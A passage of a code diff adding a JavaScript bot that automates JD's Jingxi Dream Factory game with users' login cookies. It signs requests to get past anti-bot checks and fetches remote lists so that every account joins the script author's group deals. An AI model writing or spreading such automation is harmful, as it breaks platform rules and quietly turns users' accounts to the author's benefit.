`【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造`) + allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}兑换已超时,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } + // await exchangeProNotify() + } else { + console.log(`\n\n预计最快还需 【${((production.needElectric - production.investedElectric) / (2 * 60 * 60 * 24)).toFixed(2)}天】生产完毕\n\n`) + } + if (production.status === 3) { + $.log(`\n\n商品生产已失效`) + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造`) + allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}\n【超时未完成】已失效,请选择新商品进行制造${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + } else { + $.unActive = false;//标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动\n`); + // $.msg($.name, '【提示】', `京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动`); + } else if (data.factoryList && !data.productionList) { + console.log(`【提示】京东账号${$.index}[${$.nickName}]京喜工厂未选购商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选购\n`) + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); + if (nowTimes.getHours() === 12) { + //如按每小时运行一次,则此处将一天12点推送1次提醒 + $.msg($.name, '提醒⏰', `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品`); + // if ($.isNode()) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品`) + if ($.isNode()) allMessage += `京东账号${$.index}[${$.nickName}]京喜工厂未选择商品\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 选择商品${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询当前生产的商品名称 +function GetCommodityDetails() { + return new Promise(async resolve => { + // const url = `/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&sceneval=2&g_login_type=1&commodityId=${$.commodityDimId}`; + $.get(taskurl('diminfo/GetCommodityDetails', `commodityId=${$.commodityDimId}`, `_time,commodityId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.productName = data['commodityList'][0].name; + } else { + console.log(`GetCommodityDetails异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +// 查询已完成商品 +function GetShelvesList(pageNo = 1) { + return new Promise(async resolve => { + $.get(taskurl('userinfo/GetShelvesList', `pageNo=${pageNo}&pageSize=12`, `_time,pageNo,pageSize,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + const { shelvesList } = data; + if (shelvesList) { + $.shelvesList = [...$.shelvesList, ...shelvesList]; + pageNo ++ + GetShelvesList(pageNo); + } + } else { + console.log(`GetShelvesList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//领取红包 +function DrawProductionStagePrize() { + return new Promise(async resolve => { + // const url = `/dreamfactory/userinfo/DrawProductionStagePrize?zone=dream_factory&sceneval=2&g_login_type=1&productionId=${$.productionId}`; + $.get(taskurl('userinfo/DrawProductionStagePrize', `productionId=${$.productionId}`, `_time,productionId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`开幸运红包:${data}`); + // if (safeGet(data)) { + // data = JSON.parse(data); + // if (data['ret'] === 0) { + // + // } else { + // console.log(`异常:${JSON.stringify(data)}`) + // } + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function PickUp(encryptPin = $.encryptPin, help = false) { + $.pickUpMyselfComponent = true; + const GetUserComponentRes = await GetUserComponent(encryptPin, 1500); + if (GetUserComponentRes && GetUserComponentRes['ret'] === 0 && GetUserComponentRes['data']) { + const { componentList } = GetUserComponentRes['data']; + if (componentList && componentList.length <= 0) { + if (help) { + $.log(`好友【${encryptPin}】地下暂无零件可收\n`) + } else { + $.log(`自家地下暂无零件可收\n`) + } + $.pickUpMyselfComponent = false; + } + for (let item of componentList) { + await $.wait(1000); + const PickUpComponentRes = await PickUpComponent(item['placeId'], encryptPin); + if (PickUpComponentRes) { + if (PickUpComponentRes['ret'] === 0) { + const data = PickUpComponentRes['data']; + if (help) { + console.log(`收取好友[${encryptPin}]零件成功:获得${data['increaseElectric']}电力\n`); + $.pickFriendEle += data['increaseElectric']; + } else { + console.log(`收取自家零件成功:获得${data['increaseElectric']}电力\n`); + $.pickEle += data['increaseElectric']; + } + } else { + if (help) { + console.log(`收好友[${encryptPin}]零件失败:${PickUpComponentRes.msg},直接跳出\n`) + } else { + console.log(`收自己地下零件失败:${PickUpComponentRes.msg},直接跳出\n`); + $.pickUpMyselfComponent = false; + } + break + } + } + } + } +} +function GetUserComponent(pin = $.encryptPin, timeout = 0) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskurl('usermaterial/GetUserComponent', `pin=${pin}`, `_time,pin,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + + } else { + console.log(`GetUserComponent失败:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +//收取地下随机零件电力API + +function PickUpComponent(index, encryptPin) { + return new Promise(resolve => { + $.get(taskurl('usermaterial/PickUpComponent', `placeId=${index}&pin=${encryptPin}`, `_time,pin,placeId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data['ret'] === 0) { + // data = data['data']; + // if (help) { + // console.log(`收取好友[${encryptPin}]零件成功:获得${data['increaseElectric']}电力\n`); + // $.pickFriendEle += data['increaseElectric']; + // } else { + // console.log(`收取自家零件成功:获得${data['increaseElectric']}电力\n`); + // $.pickEle += data['increaseElectric']; + // } + // } else { + // if (help) { + // console.log(`收好友[${encryptPin}]零件失败:${JSON.stringify(data)}`) + // } else { + // console.log(`收零件失败:${JSON.stringify(data)}`) + // } + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//偷好友的电力 +async function stealFriend() { + // if (!$.pickUpMyselfComponent) { + // $.log(`今日收取零件已达上限,偷好友零件也达到上限,故跳出`) + // return + // } + //调整,只在每日1点,12点,19点尝试收取好友零件 + if (new Date().getHours() !== 1 && new Date().getHours() !== 12 && new Date().getHours() !== 19) return + await getFriendList(); + $.friendList = [...new Set($.friendList)].filter(vo => !!vo && vo['newFlag'] !== 1); + console.log(`查询好友列表完成,共${$.friendList.length}好友,下面开始拾取好友地下的零件\n`); + for (let i = 0; i < $.friendList.length; i++) { + let pin = $.friendList[i]['encryptPin'];//好友的encryptPin + console.log(`\n开始收取第 ${i + 1} 个好友 【${$.friendList[i]['nickName']}】 地下零件 collectFlag:${$.friendList[i]['collectFlag']}`) + await PickUp(pin, true); + // await getFactoryIdByPin(pin);//获取好友工厂ID + // if ($.stealFactoryId) await collectElectricity($.stealFactoryId,true, pin); + } +} +function getFriendList(sort = 0) { + return new Promise(async resolve => { + $.get(taskurl('friend/QueryFactoryManagerList', `sort=${sort}`, `_time,sort,zone`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + if (data.list && data.list.length <= 0) { + // console.log(`查询好友列表完成,共${$.friendList.length}好友,下面开始拾取好友地下的零件\n`); + return + } + let friendsEncryptPins = []; + for (let item of data.list) { + friendsEncryptPins.push(item); + } + $.friendList = [...$.friendList, ...friendsEncryptPins]; + // if (!$.isNode()) return + await getFriendList(data.sort); + } else { + console.log(`QueryFactoryManagerList异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getFactoryIdByPin(pin) { + return new Promise((resolve, reject) => { + // const url = `/dreamfactory/userinfo/GetUserInfoByPin?zone=dream_factory&pin=${pin}&sceneval=2`; + $.get(taskurl('userinfo/GetUserInfoByPin', `pin=${pin}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (data.data.factoryList) { + //做此判断,有时候返回factoryList为null + // resolve(data['data']['factoryList'][0]['factoryId']) + $.stealFactoryId = data['data']['factoryList'][0]['factoryId']; + } + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function tuanActivity() { + const tuanConfig = await QueryActiveConfig(); + if (tuanConfig && tuanConfig.ret === 0) { + const { activeId, surplusOpenTuanNum, tuanId } = tuanConfig['data']['userTuanInfo']; + console.log(`今日剩余开团次数:${surplusOpenTuanNum}次`); + $.surplusOpenTuanNum = surplusOpenTuanNum; + if (!tuanId && surplusOpenTuanNum > 0) { + //开团 + $.log(`准备开团`) + await CreateTuan(); + } else if (tuanId) { + //查询词团信息 + const QueryTuanRes = await QueryTuan(activeId, tuanId); + if (QueryTuanRes && QueryTuanRes.ret === 0) { + const { tuanInfo } = QueryTuanRes.data; + if ((tuanInfo && tuanInfo[0]['endTime']) <= QueryTuanRes['nowTime'] && surplusOpenTuanNum > 0) { + $.log(`之前的团已过期,准备重新开团\n`) + await CreateTuan(); + } + for (let item of tuanInfo) { + const { realTuanNum, tuanNum, userInfo } = item; + $.tuanNum = tuanNum || 0; + $.log(`\n开团情况:${realTuanNum}/${tuanNum}\n`); + if (realTuanNum === tuanNum) { + for (let user of userInfo) { + if (user.encryptPin === $.encryptPin) { + if (user.receiveElectric && user.receiveElectric > 0) { + console.log(`您在${new Date(user.joinTime * 1000).toLocaleString()}开团奖励已经领取成功\n`) + if ($.surplusOpenTuanNum > 0) await CreateTuan(); + } else { + $.log(`开始领取开团奖励`); + await tuanAward(item.tuanActiveId, item.tuanId);//isTuanLeader + } + } + } + } else { + $.tuanIds.push(tuanId); + $.log(`\n此团未达领取团奖励人数:${tuanNum}人\n`) + } + } + } + } + } +} +async function joinLeaderTuan() { + let res = await updateTuanIdsCDN(), res2 = await updateTuanIdsCDN("http://cdn.annnibb.me/factory.json") + if (!res) res = await updateTuanIdsCDN('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_updateFactoryTuanId.json'); + $.authorTuanIds = [...(res && res.tuanIds || []),...(res2 && res2.tuanIds || [])] + if ($.authorTuanIds && $.authorTuanIds.length) { + for (let tuanId of $.authorTuanIds) { + if (!tuanId) continue + if (!$.canHelp) break; + console.log(`\n账号${$.UserName} 参加作者的团 【${tuanId}】`); + await JoinTuan(tuanId); + await $.wait(1000); + } + } +} +//可获取开团后的团ID,如果团ID为空并且surplusOpenTuanNum>0,则可继续开团 +//如果团ID不为空,则查询QueryTuan() +function QueryActiveConfig() { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=`; + const options = taskTuanUrl(`QueryActiveConfig`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + const { userTuanInfo } = data['data']; + console.log(`\n团活动ID ${userTuanInfo.activeId}`); + console.log(`团ID ${userTuanInfo.tuanId}\n`); + } else { + console.log(`QueryActiveConfig异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function QueryTuan(activeId, tuanId) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`QueryTuan`, body, `_time,activeId,tuanId`) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + // $.log(`\n开团情况:${data.data.tuanInfo.realTuanNum}/${data.data.tuanInfo.tuanNum}\n`) + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//开团API +function CreateTuan() { + return new Promise((resolve) => { + const body =`activeId=${escape(tuanActiveId)}&isOpenApp=1` + const options = taskTuanUrl(`CreateTuan`, body, '_time,activeId,isOpenApp') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`【开团成功】tuanId为 ${data.data['tuanId']}`); + $.tuanIds.push(data.data['tuanId']); + } else { + //{"msg":"活动已结束,请稍后再试~","nowTime":1621551005,"ret":10218} + if (data['ret'] === 10218 && !hasSend && (new Date().getHours() % 6 === 0)) { + hasSend = true; + $.msg($.name, '', `京喜工厂拼团瓜分电力活动团ID(activeId)已失效\n请自行抓包替换(Node环境变量为TUAN_ACTIVEID,iOS端在BoxJx)或者联系作者等待更新`); + if ($.isNode()) await notify.sendNotify($.name, `京喜工厂拼团瓜分电力活动团ID(activeId)已失效\n请自行抓包替换(Node环境变量为TUAN_ACTIVEID,iOS端在BoxJx)或者联系作者等待更新`) + } + console.log(`开团异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function JoinTuan(tuanId, stk = '_time,activeId,tuanId') { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`JoinTuan`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + console.log(`参团成功:${JSON.stringify(data)}\n`); + } else if (data['ret'] === 10005 || data['ret'] === 10206) { + //火爆,或者今日参团机会已耗尽 + console.log(`参团失败:${JSON.stringify(data)}\n`); + $.canHelp = false; + } else { + console.log(`参团失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//查询所有的团情况(自己开团以及参加别人的团) +function QueryAllTuan() { + return new Promise((resolve) => { + const body = `activeId=${escape(tuanActiveId)}&pageNo=1&pageSize=10`; + const options = taskTuanUrl(`QueryAllTuan`, body, '_time,activeId,pageNo,pageSize') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + const { tuanInfo } = data; + for (let item of tuanInfo) { + if (item.tuanNum === item.realTuanNum) { + // console.log(`参加团主【${item.tuanLeader}】已成功`) + const { userInfo } = item; + for (let item2 of userInfo) { + if (item2.encryptPin === $.encryptPin) { + if (item2.receiveElectric && item2.receiveElectric > 0) { + console.log(`${new Date(item2.joinTime * 1000).toLocaleString()}参加团主【${item2.nickName}】的奖励已经领取成功`) + } else { + console.log(`开始领取${new Date(item2.joinTime * 1000).toLocaleString()}参加团主【${item2.nickName}】的奖励`) + await tuanAward(item.tuanActiveId, item.tuanId, item.tuanLeader === $.encryptPin);//isTuanLeader + } + } + } + } else { + console.log(`${new Date(item.beginTime * 1000).toLocaleString()}参加团主【${item.tuanLeader}】失败`) + } + } + } else { + console.log(`QueryAllTuan异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +//开团人的领取奖励API +function tuanAward(activeId, tuanId, isTuanLeader = true) { + return new Promise((resolve) => { + const body = `activeId=${escape(activeId)}&tuanId=${escape(tuanId)}`; + const options = taskTuanUrl(`Award`, body, '_time,activeId,tuanId') + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + if (isTuanLeader) { + console.log(`开团奖励(团长)${data.data['electric']}领取成功`); + message += `【开团(团长)奖励】${data.data['electric']}领取成功\n`; + if ($.surplusOpenTuanNum > 0) { + $.log(`开团奖励(团长)已领取,准备开团`); + await CreateTuan(); + } + } else { + console.log(`参团奖励${data.data['electric']}领取成功`); + message += `【参团奖励】${data.data['electric']}领取成功\n`; + } + } else if (data['ret'] === 10212) { + console.log(`${JSON.stringify(data)}`); + + if (isTuanLeader && $.surplusOpenTuanNum > 0) { + $.log(`团奖励已领取,准备开团`); + await CreateTuan(); + } + } else { + console.log(`异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function updateTuanIdsCDN(url = 'https://raw.githubusercontent.com/gitupdate/updateTeam/master/shareCodes/jd_updateFactoryTuanId.json') { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + $.tuanConfigs = data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(20000) + resolve(); + }) +} + +//商品可兑换时的通知 +async function exchangeProNotify() { + await GetShelvesList(); + let exchangeEndTime, exchangeEndHours, nowHours; + //脚本运行的UTC+8时区的时间戳 + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); + if ($.shelvesList && $.shelvesList.length > 0) console.log(`\n 商品名 兑换状态`) + for (let shel of $.shelvesList) { + console.log(`${shel['name']} ${shel['exchangeStatus'] === 1 ? '未兑换' : shel['exchangeStatus'] === 2 ? '已兑换' : '兑换超时'}`) + if (shel['exchangeStatus'] === 1) { + exchangeEndTime = shel['exchangeEndTime'] * 1000; + $.picture = shel['picture']; + // 兑换截止时间点 + exchangeEndHours = new Date(exchangeEndTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).getHours(); + //兑换截止时间(年月日 时分秒) + $.exchangeEndTime = new Date(exchangeEndTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString('zh', {hour12: false}); + //脚本运行此时的时间点 + nowHours = nowTimes.getHours(); + } else if (shel['exchangeStatus'] === 3) { + //兑换超时 + } + } + if (exchangeEndTime) { + //比如兑换(超时)截止时间是2020/12/8 09:20:04,现在时间是2020/12/6 + if (nowTimes < exchangeEndTime) { + // 一:在兑换超时这一天(2020/12/8 09:20:04)的前3小时内通知(每次运行都通知) + let flag = true; + if ((exchangeEndTime - nowTimes.getTime()) <= 3600000 * 3) { + let expiredTime = parseFloat(((exchangeEndTime - nowTimes.getTime()) / (60*60*1000)).toFixed(1)) + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}${expiredTime}小时后兑换超时\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, {'open-url': jxOpenUrl, 'media-url': $.picture}) + // if ($.isNode()) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}${(exchangeEndTime - nowTimes) / 60*60*1000}分钟后兑换超时\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, { url: jxOpenUrl }) + if ($.isNode()) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}${expiredTime}小时后兑换超时\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换${$.index !== cookiesArr.length ? '\n\n' : ''}` + flag = false; + } + //二:在可兑换的时候,0,2,4等等小时通知一次 + if (nowHours % 2 === 0 && flag) { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}已可兑换\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, {'open-url': jxOpenUrl, 'media-url': $.picture}) + // if ($.isNode()) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}已可兑换\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换`, { url: jxOpenUrl }) + if ($.isNode()) allMessage += `【京东账号${$.index}】${$.nickName}\n【生产商品】${$.productName}已可兑换\n【兑换截止时间】${$.exchangeEndTime}\n请速去京喜APP->首页->好物0元造进行兑换${$.index !== cookiesArr.length ? '\n\n' : ''}` + } + } + } +} +async function showMsg() { + return new Promise(async resolve => { + message += `【收取自己零件】${$.pickUpMyselfComponent ? `获得${$.pickEle}电力` : `今日已达上限`}\n`; + message += `【收取好友零件】${$.pickUpMyselfComponent ? `获得${$.pickFriendEle}电力` : `今日已达上限`}\n`; + if ($.isNode() && process.env.DREAMFACTORY_NOTIFY_CONTROL) { + $.ctrTemp = `${process.env.DREAMFACTORY_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdDreamFactory')) { + $.ctrTemp = $.getdata('jdDreamFactory') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + if (new Date().getHours() === 22) { + $.msg($.name, '', `${message}`) + $.log(`\n${message}`); + } else { + $.log(`\n${message}`); + } + resolve() + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `http://share.turinglabs.net/api/v3/jxfactory/query/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(async resolve => { + tuanActiveId = $.isNode() ? (process.env.TUAN_ACTIVEID || tuanActiveId) : ($.getdata('tuanActiveId') || tuanActiveId); + if (!tuanActiveId) { + await updateTuanIdsCDN(); + if ($.tuanConfigs && $.tuanConfigs['tuanActiveId']) { + tuanActiveId = $.tuanConfigs['tuanActiveId']; + console.log(`拼团活动ID: 获取成功 ${tuanActiveId}\n`) + } else { + if (!$.tuanConfigs) { + await updateTuanIdsCDN('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_updateFactoryTuanId.json'); + if ($.tuanConfigs && $.tuanConfigs['tuanActiveId']) { + tuanActiveId = $.tuanConfigs['tuanActiveId']; + console.log(`拼团活动ID: 获取成功 ${tuanActiveId}\n`) + } else { + console.log(`拼团活动ID:获取失败,将采取脚本内置活动ID\n`) + } + } + } + } else { + console.log(`自定义拼团活动ID: 获取成功 ${tuanActiveId}`) + } + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + const shareCodes = $.isNode() ? require('./jdDreamFactoryShareCodes.js') : ''; + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_jxFactory')) $.shareCodesArr = $.getdata('jd_jxFactory').split('\n').filter(item => item !== "" && item !== null && item !== undefined); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_jxFactory')}\n`); + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskTuanUrl(functionId, body = '', stk) { + let url = `https://m.jingxi.com/dreamfactory/tuan/${functionId}?${body}&_time=${Date.now()}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk || '', '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "m.jingxi.com", + "Referer": "https://st.jingxi.com/pingou/dream_factory/divide.html", + "User-Agent": "jdpingou" + } + } +} + +function taskurl(functionId, body = '', stk) { + let url = `${JD_API_HOST}/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function newtasksysUrl(functionId, taskId, stk) { + let url = `${JD_API_HOST}/newtasksys/newtasksys_front/${functionId}?source=dreamfactory&bizCode=dream_factory&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 